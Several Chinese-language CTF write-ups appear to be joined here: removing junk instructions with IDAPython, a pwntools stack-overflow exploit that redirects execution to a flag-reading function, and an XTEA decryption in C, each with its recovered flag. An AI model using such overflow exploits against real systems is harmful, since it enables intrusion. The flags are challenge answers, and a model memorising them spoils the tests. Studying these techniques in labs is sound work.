64位elf,无壳
直接使用ida打开,查看主函数
映入眼帘就是一个CODE XREF
和一大堆数据,这肯定是花指令
尝试去除花指令
发现有多出了一个花指令
继续重复去除花指令
发现疑似flag的字符
这种重复的操作直接交给idapython
这些字符前面都有FF C0
,写脚本通过这两个关键字找出字符
start_addr = 0x1135
end_addr = 0x3000
for i in range(start_addr, end_addr):
if ida_bytes.get_byte(i) == 0xFF and ida_bytes.get_byte(i+1) == 0xC0:
print(chr(ida_bytes.get_byte(i+3)), end="")
运行结果:
hello world!
There are moments in life when you miss someone so much that you just want to pick them from your dreams and hug them for real! Dream what you want to dream;go where you want to go;be what you want to be,because you have only one life and one chance to do all the things you want to do.
May you have enough happiness to make you sweet,enough trials to make you strong,enough sorrow to keep you human,enough hope to make you happy? Always put yourself in others'shoes.If you feel that it hurts you,it probably hurts the other person, too.
GFCTF{u_are2wordy}
You find Flag, Congratulation!
考点:
GFCTF{u_are2wordy}]]>
checksec查看程序 开了NX保护
直接脱ida
简单分析一下
在49行程序gets
了用户输入到input
发现input
的大小是0x20
shift+f12
查看字符串 发现了flag.txt
跟进去查看 推测是读取flag的函数 函数的地址是0x40490D
接下来我们构造payload
因为是64位程序 所以要用8个字节覆盖rbp
payload = b'A'*0x20 + b'B'*8 + p64(0x40490D+1)
from pwn import *
p = process('./base')
payload = b"A" * 0x20 + b"B" * 8 + p64(0x40490D+1)
p.sendline(b'1')
p.sendline(payload)
p.interactive()
提示是xxtea加密
用ida打开,找到了key和加密后的data值
跟进去encode
函数查看 发现这并不是xxtea
加密,而是xtea
加密,比赛的时候一直在用xxtea
的脚本解,没解出来
接下来提取key
和encode_data
将qword_400E80
和qword_400E88
拆成4个dword数据就是key即
int key[] = {0xDEADBEEF,87654321,0xFACEB00C,0xCAFEBABE};
将encode_data
也按照上述的数据类型提取
int data[] = {0x168F8672,0x2DBD824,0x0CF647FCA,0x0E6EFA7EF,0x4AE016F0,0x0C5832E1D,0x455C0A05,0x0FFEB8140,0x0BE9561EF,0x7F819E23,0x3BC04269,0x0C68B825B,0x0E6A5B1F0,0x0BD03CBBD,0x0A9B3CE0E,0x6C85E6E7,0x9F5C71EF,0x3BE4BD57};
直接拿脚本解密
#include <stdio.h>
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t encode_data[]={
0x168F8672,0x2DBD824,0x0CF647FCA,0x0E6EFA7EF,0x4AE016F0,0x0C5832E1D,0x455C0A05,
0x0FFEB8140,0x0BE9561EF,0x7F819E23,0x3BC04269,0x0C68B825B,0x0E6A5B1F0,0x0BD03CBBD,
0x0A9B3CE0E,0x6C85E6E7,0x9F5C71EF,0x3BE4BD57
};
uint32_t const key[] = {0xDEADBEEF,0x87654321,0xFACEB00C,0xCAFEBABE};
unsigned int r=32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
// printf("加密前原始数据:%u %u\n",v[0],v[1]);
// encipher(r, v, k);
// printf("加密后的数据:%u %u\n",v[0],v[1]);
uint32_t tmp[2] = {0};
for(int i = 0; i < sizeof(encode_data)/sizeof(uint32_t); i+=2)
{
tmp[0] = encode_data[i];
tmp[1] = encode_data[i+1];
decipher(r,tmp, key);
printf("%s",tmp);
}
return 0;
}
DASCTF{Don't_forget_to_drink_tea}]]>